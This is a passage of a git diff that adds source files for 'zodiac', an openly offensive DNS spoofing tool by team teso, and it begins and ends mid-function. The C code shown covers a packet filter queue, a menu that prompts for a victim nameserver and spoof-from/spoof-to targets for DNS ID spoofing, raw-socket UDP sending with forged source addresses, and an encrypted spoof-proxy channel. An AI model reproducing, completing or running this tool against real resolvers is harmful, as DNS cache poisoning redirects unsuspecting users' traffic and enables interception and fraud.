NULL) { + nf->query = NULL; + } else { + nf->query = xstrdup (query); + xstrupper (nf->query); + } + + dqf[slot] = nf; + + dq_count++; + + pthread_mutex_unlock (&nf->dq_mutex); + pthread_mutex_unlock (&dqf_mutex); + + return (slot); +} + + +/* dq_filter_uninstall + * + * return 0 on success + * return 1 on failure + */ + +int +dq_filter_uninstall (int dq_desc) +{ + dq_filter *this; + int n; + + pthread_mutex_lock (&dqf_mutex); + + for (n = 0; n < DQ_MAX; n++) { + if (dqf[n] != NULL) { + pthread_mutex_lock (&dqf[n]->dq_mutex); + + /* if filter matches, uninstall it + */ + if (dqf[n]->dq_desc == dq_desc) { + + this = dqf[n]; + dqf[n] = NULL; + + /* kill ALL waiting routines + */ + while (this->dq_wait_count > 0) { + + /* no real activation + */ + this->dq_sem_real = 0; + sem_post (&this->dq_sem); + + /* and let one waiter die + */ + pthread_mutex_unlock (&dqf[n]->dq_mutex); + pthread_mutex_lock (&dqf[n]->dq_mutex); + } + + dq_p_free_all (this); + dq_filter_free (this); + + dq_count--; + + /* `dq_desc' should be unique, so we don't care + */ + pthread_mutex_unlock (&dqf_mutex); + return (0); + } + pthread_mutex_unlock (&dqf[n]->dq_mutex); + } + } + pthread_mutex_unlock (&dqf_mutex); + + return (1); +} + + +/* dq_p_free_all + * + * free's all resisting packets within one filter + * + * return in any case + */ + +void +dq_p_free_all (dq_filter *dq) +{ + dq_packet *this, *last; + + for (this = dq->p_root; this != NULL;) { + last = this; + this = this->next; + dq_p_free (last); + } + + return; +} + + +/* dq_p_free + * + * free the packet pointed to by `dqp' + * + * return in any case + */ + +void +dq_p_free (dq_packet *dqp) +{ + if (dqp != NULL) { + if (dqp->packet != NULL) + free (dqp->packet); + free (dqp); + } + + return; +} + + +/* dq_filter_free + * + * return in any case + */ + +void +dq_filter_free (dq_filter *dq) +{ + if (dq == NULL) + return; + + pthread_mutex_destroy (&dq->dq_mutex); + sem_destroy (&dq->dq_sem); + + if (dq->query != NULL) + free (dq->query); + + free (dq); + + return; +} + + +/* dq_filter_wait + * + * 'select' for filter descriptors. + * wait a maximum of time defined in `tv' to get packets for filter defined + * by `dq_desc'. if `tv' is { 0, 0 }, don't block, if `tv' is NULL, wait + * indefinitly. + * + * return 1 if packet was caught + * return 0 on timeout + */ + +int +dq_filter_wait (int dq_desc, struct timeval *tv) +{ + int rval = 0; /* return value */ + int n = 0; /* temporary return value */ + + + /* first, register us as a filter waiter + */ + pthread_mutex_lock (&dqf[dq_desc]->dq_mutex); + dqf[dq_desc]->dq_wait_count++; + pthread_mutex_unlock (&dqf[dq_desc]->dq_mutex); + + /* if a timeout is required, fire up another subthread, that just + * will post the semaphore after a given timeout, but set dq_sem_real + * to zero, to tell us that it's just a timeout semaphore. + * + * in the other case, if a real packet intrudes, dq_activate will post + * the semaphore AND will notify us through dq_sem_real = 1 that it's + * a real packet. + * + * in the worst case, the filter is being uninstalled, and dq_sem_real + * will be "2", that means we should just return as if no packet has + * been caught. + * + * if no timeout is used it's just a sem_wait. + */ + + /* check wether we have to wait indefinite + */ + if (tv != NULL) { + + /* check wether it is a timeouting wait request + */ + if (tv->tv_sec != 0 || tv->tv_usec != 0) { + pthread_t tout_tid; /* timeout thread id */ + dqtim_val *paa = xcalloc (1, sizeof (dqtim_val)); + + /* build up a pseudo structure, just for parameter passing + */ + paa->tv.tv_sec = tv->tv_sec; + paa->tv.tv_usec = tv->tv_usec; + paa->df = dqf[dq_desc]; + + /* start a timeouter thread + */ + n = pthread_create (&tout_tid, NULL, (void *) dq_timer, (void *) paa); + + if (n != -1) { + sem_wait (&dqf[dq_desc]->dq_sem); + + /* destroy the timeouting thread on real packet + * added pthread_join () call - 990925. + */ + if (dqf[dq_desc]->dq_sem_real != 0) { + pthread_cancel (tout_tid); + } + pthread_join (tout_tid, NULL); + } + + /* clean the mess up and set the return value + */ + free (paa); + rval = dqf[dq_desc]->dq_sem_real; + + } else { + + /* non blocking check + */ + n = sem_trywait (&dqf[dq_desc]->dq_sem); + if (n == 0) + rval = 1; + } + } else { + /* wait indefinitly + */ + + n = sem_wait (&dqf[dq_desc]->dq_sem); + + if (n == 0) { + pthread_mutex_lock (&dqf[dq_desc]->dq_mutex); + n = dqf[dq_desc]->dq_sem_real; + if (n == 1) + rval = 1; + + pthread_mutex_unlock (&dqf[dq_desc]->dq_mutex); + } + } + + /* decrease the listeners count + */ + pthread_mutex_lock (&dqf[dq_desc]->dq_mutex); + dqf[dq_desc]->dq_wait_count--; + pthread_mutex_unlock (&dqf[dq_desc]->dq_mutex); + + return (rval); +} + + +/* dq_timer + * + * timeout thread, that will just raise a semaphore after a given timeout + * the thread has to be cancelled if the timeout is not necessary anymore. + * + * return nothing (threaded) + */ + +void * +dq_timer (dqtim_val *paa) +{ + unsigned long long usec; /* microseconds to sleep */ + + /* added to allow immediate interruption. + * -smiler 990925 + */ + pthread_setcancelstate (PTHREAD_CANCEL_ENABLE, NULL); + pthread_setcanceltype (PTHREAD_CANCEL_ASYNCHRONOUS, NULL); + + /* calculate time to sleep, then sleep until either timeout + * or interruption + */ + usec = (paa->tv.tv_sec * 1000000) + paa->tv.tv_usec; + usleep (usec); + + /* we survived, now be faster then the race condition ;-D + */ + + paa->df->dq_sem_real = 0; /*0 = just a timeout*/ + sem_post (&paa->df->dq_sem); /* post semaphore */ + + return (NULL); +} + diff --git a/dns-projects/zodiac/src/dnsq.h b/dns-projects/zodiac/src/dnsq.h new file mode 100644 index 0000000..379497d --- /dev/null +++ b/dns-projects/zodiac/src/dnsq.h @@ -0,0 +1,185 @@ + +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns queue routines include file + */ + +#ifndef Z_DNSQ_H +#define Z_DNSQ_H + +#include +#include +#include +#include +#include "packet.h" + +/* a maximum of 256 filters should be used + * raise this on demand + */ +#define DQ_MAX 256 + + +/* dq_packet structure + * + * linked list, + * used to pass an incoming matched packet to the waiting thread + */ + +typedef struct dq_packet { + struct dq_packet *next; /* next in the linked list */ + unsigned char *packet; /* IP header starts */ + unsigned int plen; /* packet length (iphdr + udphdr + dnshdr + dnsdata) */ +} dq_packet; + + +/* dq_filter structure + * + * this is a internal filter structure, which defines a complete dns packet + * filter. a maximum of DQ_MAX filters may be active simultanously. + */ + +typedef struct dq_filter { + pthread_mutex_t dq_mutex; /* mutex over this structure */ + int dq_desc; /* dq_filter descriptor */ + sem_t dq_sem; /* semaphore for this filter */ + int dq_sem_real; /* real semaphore or just timeout one */ + int dq_wait_count; /* counts the waiting threads on this filter */ + + struct in_addr ip_src; /* ip or INADDR_ANY */ + struct in_addr ip_dst; /* ip or INADDR_ANY */ + unsigned short int port_src; /* source port or zero */ + unsigned short int port_dst; /* destination port or zero */ + + int id_watch; /* 0 = don't care, 1 = watch */ + u_short id_start; /* dns id range start */ + u_short id_end; /* end */ + + unsigned char *query; /* NULL or query domain (uncompressed, dotted) */ + unsigned char *dns_packet; /* start of a dns packet */ + + dq_packet *p_root; /* packet list root */ +} dq_filter; + + +/* dqtim_val structure + * + * passing structure for the timeouting thread + */ + +typedef struct dqtim_val { + struct timeval tv; /* timeout interval */ + dq_filter *df; /* filter to trigger */ +} dqtim_val; + + +/* dq_handle + * + * check wether an incoming dns packet matches the filter table, then + * take the appropiate actions. + * + * return in any case + */ + +void dq_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned int plen); + + +/* dq_p_get + * + * get the first packet stored in queue on filter associated with `desc' + * + * return a pointer to the unlinked first packet + * return NULL on failure + */ + +dq_packet *dq_p_get (int desc); + + +/* dq_p_append + * + * append a packet to a filter queue, where `packet' contains + * data consisting out of the ip header, udp header, dns header and dns data + */ + +void dq_p_append (dq_filter *df, unsigned char *packet, unsigned int packetlength); + + +/* dq_p_free_all + * + * free's all resisting packets within one filter + * + * return in any case + */ + +void dq_p_free_all (dq_filter *dq); + + +/* dq_p_free + * + * free the packet pointed to by `dqp' + * + * return in any case + */ + +void dq_p_free (dq_packet *dqp); + + +/* dq_filter_install + * + * install a dns packet filter, which will filter any datagrams that may come + * from `ip_src' and going to `ip_dst' from port `port_src' to port `port_dst'. + * if `id_watch' is non-zero keep also watch of the dns id of the packet, which + * has to be in between of `id_start' and `id_end', `query' is the dns query + * content which has to be in the packet, or NULL if it doesn't have to match. + * + * return -1 on failure + * return >=0 as a dq_filter descriptor + */ + +int dq_filter_install (struct in_addr ip_src, struct in_addr ip_dst, + unsigned short int port_src, unsigned short int port_dst, + int id_watch, u_short id_start, u_short id_end, char *query); + + +/* dq_filter_uninstall + * + * remove a dns packet filter with the descriptor `dq_desc' from the filter + * queue. + * + * return 0 on success + * return 1 on failure + */ + +int dq_filter_uninstall (int dq_desc); + + +/* dq_filter_wait + * + * 'select' for filter descriptors. + * wait a maximum of time defined in `tv' to get packets for filter defined + * by `dq_desc'. if `tv' is { 0, 0 }, don't block, if `tv' is NULL, wait + * indefinitly. + * + * return 1 if packet was caught + * return 0 on timeout + */ + +int dq_filter_wait (int dq_desc, struct timeval *tv); + +/* dq_timer + * + * helper function for timeouting the filter_wait function + */ + +void *dq_timer (dqtim_val *paa); + +/* internal functions + */ +int dq_match (dq_filter *real, dq_filter *pseudo); +int dq_findslot (dq_filter *df[], int dq_max); +void dq_filter_free (dq_filter *dq); + + +#endif + diff --git a/dns-projects/zodiac/src/gui.c b/dns-projects/zodiac/src/gui.c new file mode 100644 index 0000000..4dc16ca --- /dev/null +++ b/dns-projects/zodiac/src/gui.c @@ -0,0 +1,384 @@ +/* zodiac - advanced dns spoofer + * + * by team teso + * + * this routines are most likely the crappiest routines in the whole zodiac + * source tree. if i have a lot of time i'll to a elite rewrite of this crap. + * -sc + */ + +#include +#include +#include +#include "common.h" +#include "dns.h" +#include "dns-spoof.h" +#include "dns-tag.h" +#include "dns-tools.h" +#include "gui.h" +#include "output.h" +#include "zodiac.h" +#include "dns-build.h" + + +char *input = NULL; +char *prompt = NULL; + + +void +menu_prompt (char *pr) +{ + if (prompt == NULL) { + prompt = xstrdup (pr); + } else { + free (prompt); + prompt = xstrdup (pr); + } + m_printf (ms, ms->winsh, "%s", prompt); + + return; +} + + +void +menu_clear (void) +{ + if (input != NULL) + free (input); + input = NULL; +} + + +void +menu_tool (void) +{ +} + +void +menu_dos (void) +{ +} + + +void +menu_spoof_jizz (void) +{ + char *ns, + *local_domain, + *local_dns_ip, + *spoof_from, + *spoof_to; + spoof_base *base; + + ns = menu_input (); + local_domain = menu_input (); + local_dns_ip = menu_input (); + spoof_from = menu_input (); + spoof_to = menu_input (); + + base = spoof_jizz_new (ns, local_domain, local_dns_ip, + spoof_from, spoof_to); + spoof_do_threaded (base); + return; +} + +void +menu_spoof_local (void) +{ + char *sp_type, + *victim, + *from, *to, + *local_dns, *local_dns_ip; + int spoof_type; + spoof_base *base; + + victim = menu_input (); + sp_type = menu_input (); + if (strcasecmp (sp_type, "a") == 0) { + spoof_type = T_A; + } else if (strcasecmp (sp_type, "ptr") == 0) { + spoof_type = T_PTR; + } else { + m_printf (ms, ms->winsh, "#! invalid spoof type\n"); + menu_clear (); + return; + } + free (sp_type); + + from = menu_input (); + to = menu_input (); + local_dns = menu_input (); + local_dns_ip = menu_input (); + + base = spoof_local_new (victim, from, to, local_dns, local_dns_ip, + spoof_type); + spoof_do_threaded (base); + return; +} + + +void +menu_spoof_dnsid (void) +{ + char *ns, + *domain, + *spoof_from, + *spoof_to, + *spoof_ptr, + *sp_type; + spoof_base *base; + int n = 0, + spoof_type; + + menu_prompt ("[victim nameserver] > "); + ns = menu_input (); + menu_prompt ("[your domain] > "); + domain = menu_input (); + + base = spoof_id_new (ns, domain); + + menu_prompt ("[spoof from] > "); + spoof_from = menu_input (); + menu_prompt ("[spoof to] > "); + spoof_to = menu_input (); + if (inet_addr (spoof_to) == -1) { + menu_prompt ("bad ip\n"); + menu_clear (); + return; + } + menu_prompt ("[spoof type - a,ptr,both] "); + sp_type = menu_input (); + if (strcasecmp (sp_type, "a") == 0) { + spoof_type = T_A; + } else if (strcasecmp (sp_type, "ptr") == 0) { + spoof_type = T_PTR; + } else if (strcasecmp (sp_type, "both") == 0) { + spoof_type = T_PTR + T_A; + } else { + m_printf (ms, ms->winsh, "#! invalid spoof type\n"); + menu_clear (); + return; + } + free (sp_type); + + if (spoof_type == T_A) { + n += spoof_id_add (base, T_A, spoof_from, spoof_to, NULL); + } else if (spoof_type == T_PTR) { + spoof_ptr = dns_build_ptr (spoof_to); + n += spoof_id_add (base, T_PTR, spoof_ptr, spoof_from, NULL); + } else { + spoof_ptr = dns_build_ptr (spoof_to); + n += spoof_id_add (base, T_PTR, spoof_ptr, spoof_from, NULL); + n += spoof_id_add (base, T_A, xstrdup (spoof_from), spoof_to, NULL); + } + + if (n < 0) { + menu_prompt ("error\n"); + menu_clear (); + spoof_destroy (base); + + return; + } + + spoof_do_threaded (base); + + return; +} + + +void +menu_set (void) +{ + char *basecmd; + + menu_prompt ("[set] > "); + basecmd = menu_input (); + if (strcasecmp (basecmd, "zsp") == 0) { + char *tmp; + + tmp = zodiac_spoof_proxy; + zodiac_spoof_proxy = NULL; + if (tmp != NULL) + free (tmp); + tmp = zodiac_spoof_proxy_key; + zodiac_spoof_proxy_key = NULL; + if (tmp != NULL) + free (tmp); + + zodiac_spoof_proxy = menu_input (); + tmp = menu_input (); + sscanf (tmp, "%hu", &zodiac_spoof_proxy_port); + free (tmp); + tmp = menu_input (); + zodiac_spoof_proxy_key = xcalloc (1, strlen (tmp) + 1); + sscanf (tmp, "%[^\n]\n", zodiac_spoof_proxy_key); + free (tmp); + } else if (strcasecmp (basecmd, "showpackets") == 0) { + char *tmp = menu_input (); + + sscanf (tmp, "%d", &dns_print_own_packets); + free (tmp); + } else { + menu_clear (); + } + free (basecmd); + + return; +} + + +void +menu_ns (void) +{ + char *basecmd; + + menu_prompt ("[ns] > "); + basecmd = menu_input (); + if (strcasecmp (basecmd, "version") == 0) { + char *ip; + char *version_reply; + + ip = menu_input (); + version_reply = dt_bind_version (ip); + m_printf (ms, ms->winsh, "%s: %s\n", ip, version_reply); + + free (ip); + free (version_reply); + } else { + menu_clear (); + } + + free (basecmd); + + return; +} + + +void +menu_test (void) +{ + char *basecmd; + + menu_prompt ("[test] > "); + basecmd = menu_input (); + if (strcasecmp (basecmd, "spoof") == 0) { + char *ns, + *ourdomain; + int spoofing = 0; + + ns = menu_input (); + ourdomain = menu_input (); + spoofing = spoof_ip_check (ns, ourdomain); + m_printf (ms, ms->winsh, "[zod] send capabilities = %s\n", + spoofing == 1 ? "spoofing allowed" : + (spoofing == -1 ? "not even unspoofed packets" : + "only unspoofed packets")); + free (ns); + free (ourdomain); + } + free (basecmd); + + return; +} + + +void +menu_spoof (void) +{ + char *basecmd; + + menu_prompt ("[spoof] > "); + basecmd = menu_input (); + if (strcasecmp (basecmd, "local") == 0) { + menu_spoof_local (); + } else if (strcasecmp (basecmd, "jizz") == 0) { + menu_spoof_jizz (); + } else if (strcasecmp (basecmd, "id") == 0) { + menu_spoof_dnsid (); + } else { + m_printf (ms, ms->winsh, "#! not a valid spoof subcommand\n"); + menu_clear (); + } + + return; +} + + +void +menu_handle (void) +{ + char *basecmd; + +m_root: + menu_prompt ("[] > "); + + do { + basecmd = menu_input (); + + if (strlen (basecmd) == 0) + goto m_root; + + /* lame code here + */ + if (strcasecmp (basecmd, "quit") == 0) { + return; + } else if (strcasecmp (basecmd, "help") == 0) { + m_printf (ms, ms->winsh, "quit quit zodiac\n"); + m_printf (ms, ms->winsh, "spoof id dns id spoofing\n"); + m_printf (ms, ms->winsh, "ns version bind version request\n"); + m_printf (ms, ms->winsh, "set zsp set spoof proxy parameters\n"); + m_printf (ms, ms->winsh, "set showpackets <1|0> set show-own-packets flag\n"); + m_printf (ms, ms->winsh, "test spoof test whether we can ip spoof\n"); + } else if (strcasecmp (basecmd, "spoof") == 0) { + menu_spoof (); + } else if (strcasecmp (basecmd, "ns") == 0) { + menu_ns (); + } else if (strcasecmp (basecmd, "test") == 0) { + menu_test (); + } else if (strcasecmp (basecmd, "dos") == 0) { +// menu_dos (); + } else if (strcasecmp (basecmd, "set") == 0) { + menu_set (); + } else { + m_printf (ms, ms->winsh, "#! wrong command, see \"help\"\n"); + goto m_root; + } + + free (basecmd); + basecmd = NULL; + + } while (1); +} + + +char * +menu_input (void) +{ + char *p; + int cl; + + if (input == NULL) { + input = xcalloc (1, 1024); + wscanw (ms->winsh, "%1023c", input); + } + + cl = strcspn (input, " \t\n\r"); + + p = xcalloc (1, cl + 1); + memcpy (p, input, cl); + + if (strlen (input + cl + 1) > 0) { + int n = strlen (input + cl + 1); + + memmove (input, input + cl + 1, strlen (input + cl + 1)); + memset (input + n, '\0', cl); + } else { + free (input); + input = NULL; + } + + return (p); +} + + + diff --git a/dns-projects/zodiac/src/gui.h b/dns-projects/zodiac/src/gui.h new file mode 100644 index 0000000..73dedda --- /dev/null +++ b/dns-projects/zodiac/src/gui.h @@ -0,0 +1,21 @@ +/* zodiac - advanced dns spoofer + * + * by team teso + */ + +#ifndef _Z_GUI_H +#define _Z_GUI_H +#include "dns-spoof-int.h" + + +void menu_prompt (char *add); +void menu_clear (void); +void menu_test (void); +void menu_set (void); +void menu_spoof (void); +void menu_handle (void); +char *menu_input (void); + + +#endif + diff --git a/dns-projects/zodiac/src/io-udp.c b/dns-projects/zodiac/src/io-udp.c new file mode 100644 index 0000000..c3434ed --- /dev/null +++ b/dns-projects/zodiac/src/io-udp.c @@ -0,0 +1,272 @@ +/* udp io routines + * + * by scut + * + * udp packet routines include file + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "cipher-blowfish.h" +#include "common.h" +#include "io-udp.h" +#include "network.h" + + +void +udp_listen_free (udp_listen *ul) +{ + if (ul == NULL) + return; + + if (ul->socket != 0) + close (ul->socket); + + free (ul); + + return; +} + + +udp_listen * +udp_setup (char *ip, unsigned short int port) +{ + int n; /* temporary return value */ + udp_listen *new = xcalloc (1, sizeof (udp_listen)); + + new->addr_serv.sin_family = AF_INET; + new->addr_serv.sin_port = htons (port); + + if (ip == NULL) { + new->addr_serv.sin_addr.s_addr = htonl (INADDR_ANY); + } else { + new->addr_serv.sin_addr.s_addr = net_resolve (ip); + if (new->addr_serv.sin_addr.s_addr == 0) + goto u_fail; + } + + new->port = port; + + /* aquire udp socket + */ + new->socket = socket (AF_INET, SOCK_DGRAM, 0); + if (new->socket == -1) + goto u_fail; + + n = bind (new->socket, (struct sockaddr *) &new->addr_serv, sizeof (new->addr_serv)); + if (n == -1) + goto u_fail; + + return (new); + +u_fail: + if (new->socket != 0) + close (new->socket); + + free (new); + + return (NULL); +} + + +void +udp_rcv_free (udp_rcv *ur) +{ + if (ur == NULL) + return; + + if (ur->udp_data != NULL) + free (ur->udp_data); + + free (ur); + + return; +} + + +udp_rcv * +udp_receive (udp_listen *ul) +{ + int n; /* temporary return value */ + udp_rcv *u_rcv; /* new received udp datagram */ + unsigned char *u_packet; + socklen_t len; + + if (ul == NULL) + return (NULL); + + u_rcv = xcalloc (1, sizeof (udp_rcv)); + u_packet = xcalloc (1, IP_MAXPACKET); + + while (1) { + len = sizeof (struct sockaddr_in); + n = recvfrom (ul->socket, u_packet, IP_MAXPACKET, 0, + &u_rcv->addr_client, &len); + if (n == -1) + goto ur_fail; + + /* save time the packet was received and copy the received data + */ + gettimeofday (&u_rcv->udp_time, NULL); + xrealloc (u_packet, n); + u_rcv->udp_data = u_packet; + u_rcv->udp_len = n; + ul->count++; + + return (u_rcv); + } + +ur_fail: + free (u_rcv); + free (u_packet); + + return (NULL); +} + + +void +udp_write (char *ip, unsigned short int port, unsigned char *data, + size_t data_len, char *key) +{ + int udp_sockfd; + struct sockaddr_in udp_to; + unsigned char *data_enc; + socklen_t len; + + /* do the encryption + */ + if (key != NULL) { + unsigned char *p_ofs, + *dt; + + dt = xcalloc (1, data_len + 2); + memcpy (dt + 2, data, data_len); + p_ofs = dt; + PUTSHORT (data_len, p_ofs); + data_enc = bf_encipher (key, dt, data_len + 2, &len); + free (dt); + } else { + data_enc = xcalloc (1, data_len); + memcpy (data_enc, data, data_len); + len = data_len; + } + + udp_sockfd = socket (AF_INET, SOCK_DGRAM, 0); + if (udp_sockfd == -1) + return; + + memset (&udp_to, '\0', sizeof (udp_to)); + udp_to.sin_family = AF_INET; + udp_to.sin_addr.s_addr = net_resolve (ip); + udp_to.sin_port = htons (port); + + /* send packet + */ + sendto (udp_sockfd, data_enc, len, 0, &udp_to, sizeof (udp_to)); + + close (udp_sockfd); + free (data_enc); + + return; +} + + +void +udp_send (char *ip_src, unsigned short int port_src, + char *ip_dst, unsigned short int port_dst, char *key, + unsigned char *data, size_t data_len) +{ + unsigned char *data_enc, + *pkt_buf; + unsigned short int port_a_src; + size_t len; + char *ip_a_src; + int raw_socket; + + ip_a_src = (ip_src == NULL) ? net_getlocalip () : xstrdup (ip_src); + + if (key != NULL) { + unsigned char *p_ofs, + *dt; + + dt = xcalloc (1, data_len + 2); + memcpy (dt + 2, data, data_len); + p_ofs = dt; + PUTSHORT (data_len, p_ofs); + data_enc = bf_encipher (key, dt, data_len + 2, &len); + free (dt); + } else { + data_enc = xcalloc (1, data_len); + memcpy (data_enc, data, data_len); + len = data_len; + } + port_a_src = (port_src == 0) ? libnet_get_prand (PRu16) : port_src; + + pkt_buf = xcalloc (1, len + IP_H + UDP_H); + + libnet_build_ip (UDP_H + len, /* content length */ + 0, /* ip type of service */ + libnet_get_prand (PRu16), /* ip id */ + 0, /* we don't fragment */ + 64, /* ip ttl */ + IPPROTO_UDP, /* ip subproto */ + libnet_name_resolve (ip_a_src, 0), /* ip source address */ + libnet_name_resolve (ip_dst, 0),/* ip destination address */ + NULL, 0, /* payload */ + pkt_buf); + + libnet_build_udp (port_a_src, /* source port */ + port_dst, /* destination port */ + data_enc, /* payload r0x0r */ + len, /* payload length */ + pkt_buf + IP_H); + + raw_socket = libnet_open_raw_sock (IPPROTO_RAW); + if (raw_socket != -1) { + libnet_write_ip (raw_socket, pkt_buf, IP_H + UDP_H + len); + + close (raw_socket); + } + + free (pkt_buf); + free (data_enc); + free (ip_a_src); + + return; +} + + +udp_rcv * +udp_decipher (udp_rcv *ur, char *key) +{ + size_t len = ur->udp_len / 8; + unsigned char *deciphered_data; + unsigned char *p_ofs; + socklen_t len_real; + + if (len == 0) + return (ur); + + deciphered_data = bf_decipher (key, ur->udp_data, len * 8); + free (ur->udp_data); + + p_ofs = deciphered_data; + GETSHORT (len_real, p_ofs); + + ur->udp_data = xcalloc (1, len_real); + memcpy (ur->udp_data, deciphered_data + 2, len_real); + free (deciphered_data); + ur->udp_len = len_real; + + return (ur); +} + + diff --git a/dns-projects/zodiac/src/io-udp.h b/dns-projects/zodiac/src/io-udp.h new file mode 100644 index 0000000..4d2152f --- /dev/null +++ b/dns-projects/zodiac/src/io-udp.h @@ -0,0 +1,133 @@ +/* udp io routines + * + * by scut + * + * udp packet routines include file + */ + +#ifndef _FNX_IO_UDP_H +#define _FNX_IO_UDP_H + +#include +#include +#include +#include +#include +#include +#include + + +/* udp receival entity + */ + +typedef struct udp_listen { + unsigned long int count; /* number of packets received */ + struct in_addr ip; /* ip to receive data on */ + unsigned short int port; /* port to receive data on */ + int socket; /* listening socket */ + struct sockaddr_in addr_serv; +} udp_listen; + + +/* udp datagram structure + */ + +typedef struct udp_rcv { + struct sockaddr_in addr_client; /* source address */ + struct timeval udp_time; /* time of receival */ + socklen_t udp_len; /* length of the udp datagramm */ + unsigned char *udp_data; /* received udp datagramm */ +} udp_rcv; + + +/* udp_listen_free + * + * free a udp_listen structure pointed to by `ul' + * + * return in any case + */ + +void udp_listen_free (udp_listen *ul); + + +/* udp_setup + * + * start a new listening udp service with the bound ip `ip', which can be + * either a numeric ip address or "*" (or NULL) for all locally available + * ip addresses. the listening port is `port'. + * + * return NULL on failure + * return a pointer to a udp_listen structure on success + */ + +udp_listen *udp_setup (char *ip, unsigned short int port); + + +/* udp_rcv_free + * + * free a udp_rcv structure pointed to by `ur' + * + * return in any case + */ + +void udp_rcv_free (udp_rcv *ur); + + +/* udp_receive + * + * receive an udp datagramm on the network entity specified by the `ul' + * structure + * + * return NULL on failure + * return a pointer to a new udp_rcv structure on success + */ + +udp_rcv *udp_receive (udp_listen *ul); + + +/* udp_write + * + * send an udp datagram using the system level datagram sockets. send + * `data_len' bytes from `data' to the host with the ip `ip' on port + * `port' + * + * return in any case + */ + +void +udp_write (char *ip, unsigned short int port, unsigned char *data, + size_t data_len, char *key); + + +/* udp_send + * + * send an udp datagram using raw socket. the datagram will be assigned the + * source ip address of the local host if `ip_src' is NULL and the source IP + * address `ip_src' if it is not. the source port will be random if `port_src' + * equals zero, else it is assigned the value of it. + * the destination ip address is `ip_dst', the destination port is `port_dst'.. + * the payload is `data', which is `data_len' bytes long. the data will be + * encrypted with `key' if it is not NULL. + * + * return in any case + */ + +void udp_send (char *ip_src, unsigned short int port_src, + char *ip_dst, unsigned short int port_dst, char *key, + unsigned char *data, size_t data_len); + + +/* udp_decipher + * + * decipher a received udp datagram packet `ur' using the key `key'. actually + * not the key but a sha-1 hash build out of it is used as blowfish encryption + * key. the data contained in the datagram has to have an 8-byte-boundary + * length. + * + * return the same received datagramm but with data decrypted + */ + +udp_rcv *udp_decipher (udp_rcv *ur, char *key); + +#endif + diff --git a/dns-projects/zodiac/src/network.c b/dns-projects/zodiac/src/network.c new file mode 100644 index 0000000..fb6af15 --- /dev/null +++ b/dns-projects/zodiac/src/network.c @@ -0,0 +1,251 @@ + +/* zodiac - advanced dns spoofer + * + * network primitives + * + * by scut / teso + * smiler + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + + +struct in_addr localip; + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc (*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +char * +net_getlocalip (void) +{ + return (strdup (inet_ntoa (localip)));; +} + + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + + +/* partly based on resolv routine from ? + */ + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + if (host == NULL) + return (htonl (INADDR_ANY)); + + if (strcmp (host, "*") == 0) + return (htonl (INADDR_ANY)); + + i = inet_addr (host); + if (i == -1) { + he = gethostbyname (host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_printipr (struct in_addr *ia, char *str, 